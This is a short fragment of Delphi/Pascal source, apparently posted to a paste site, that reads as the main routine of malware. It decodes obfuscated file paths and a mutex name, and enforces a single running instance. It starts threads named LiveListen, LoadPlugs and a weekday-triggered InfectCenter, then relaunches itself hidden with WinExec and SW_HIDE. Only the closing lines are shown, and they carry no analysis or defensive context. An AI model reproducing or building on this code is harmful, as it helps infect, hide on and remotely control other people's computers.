  731.    if paramstr(0) = winpath+d('¨œÎÌøö¨¶ÚôüÂÖÚLÚàÚ^') then
  732.    begin
  733.    CreateMutex(nil, false,Pchar(d('”ÂäøôÎ')));
  734.    if GetLastError = ERROR_ALREADY_EXISTS then halt(0);
  735.    CreateThread(nil,0,@LiveListen,nil,0,ID);
  736.    CreateThread(nil,0,@LoadPlugs,nil,0,ID);
  737.    if Clock.Wday = StrToInt(RID) then CreateThread(nil,0,@InfectCenter,nil,0,ID);
  738.    sleep($ffffffff);
  739.    end;
  740.    aislamiento(0);
  741.    WinExec(Pchar(d('¨œÎÌøö¨¶ÚôüÂÖÚLÚàÚ^')),SW_HIDE);
  742.    halt(0);
  743.    end.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement